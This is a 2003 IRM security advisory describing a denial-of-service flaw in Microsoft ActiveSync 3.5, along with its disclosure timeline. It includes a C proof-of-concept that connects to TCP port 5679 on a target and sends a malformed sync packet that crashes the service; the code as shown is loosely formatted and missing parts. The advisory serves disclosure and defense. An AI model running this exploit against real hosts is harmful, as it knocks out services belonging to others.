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IRM 004: ActiveSync Version 3.5 Denial of Service Vulnerability
From: IRM Advisories <advisories () irmplc com>
Date: 21 Mar 2003 16:16:36 +0000

IRM Security Advisory No. 004

ActiveSync version 3.5 Denial of Service Vulnerability

Vulnerablity Type / Importance: Denial of Service / High

Problem discovered: November 26th 2002
Vendor contacted: November 26th 2002
Advisory published: March 17th 2003


"Microsoft ActiveSync allows you to create a partnership between your mobile device and desktop computer using a cable, 
cradle, or infrared. After you create a partnership, you can synchronize your data using a modem or network (Ethernet) 
card if your device supports it. You can also use your existing computer to connect to other resources through 
ActiveSync." - quote from Microsoft ActiveSync help page. 

The service runs on TCP port 5679 and by connecting to this port and sending a corrupted "sync request" packet the 
service can be crashed thus causing Denial of Service.


By "pretending" to be an iPAQ and connecting to TCP port 5679, then sending a corrupted "I would like to sync with you" 
packet, a NULL pointer is dereferenced in a call to the function WideCharToMultiByte() while it is trying to process an 
entry within the packet. This then causes an application error, killing the "wcescomm" process.

The service must then be restarted manually to enable an iPAQ to re-sync.

Sample code to demonstrate the vulnerability is shown below:

/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)

    unsigned char sendBuf[] =

/* Correct Header */

//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4 bytes the crash occurs */ 
"\x6e\x00\x00\x00" /* Length of the rest of the packet */ 
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */ 
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */ 
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */ 
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */


    struct sockaddr_in servAddr;
    int s;

        WSADATA WSAData;
                if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
                        printf("WSAStartup failed.\n");

        if (argc != 2)
                printf ("\niPAQ_Crash\n");
                printf ("\nUsage: %s <target IP address>\n",argv[0]);
                exit (1);

    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(argv[1]);
    servAddr.sin_port = htons(ASYNC_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

        if ( send(s, sendBuf, 118, 0) == 0)
                printf("Error sending packet...quitting\n\n");
                exit (0);



Tested Versions:
~~~~~~ ~~~~~~~~~
ActiveSync version 3.5 (build 12007) 

Tested Operating Systems:
~~~~~~ ~~~~~~~~~ ~~~~~~~~
Microsoft Windows 2000

Vendor & Patch Information:
~~~~~~ ~ ~~~~~ ~~~~~~~~~~~~
The vendor of this product, Microsoft, was contacted via email using the address "security () microsoft com" on 26th 
November 2002, Microsoft replied the following day to confirm receipt of the email. A second email was sent on 7th 
January 2003 to the same address to request information regarding the progress of any patch or workaround information. 
Microsoft did not reply to this email and no further correspondance has been received about the vulnerability.


Research & Advisory: Andy Davis 

All information in this advisory is provided on an 'as is'
basis in the hope that it will be useful. Information Risk Management
Plc is not responsible for any risks or occurrences caused
by the application of this information.

A copy of this advisory may be found at

The PGP key used to sign IRM advisories can be obtained from the above
URL, or from keyserver.net and its mirrors.

Information Risk Management Plc. 
http://www.irmplc.com, info () irmplc com
22 Buckingham Gate 
+44 (0)207 808 6420

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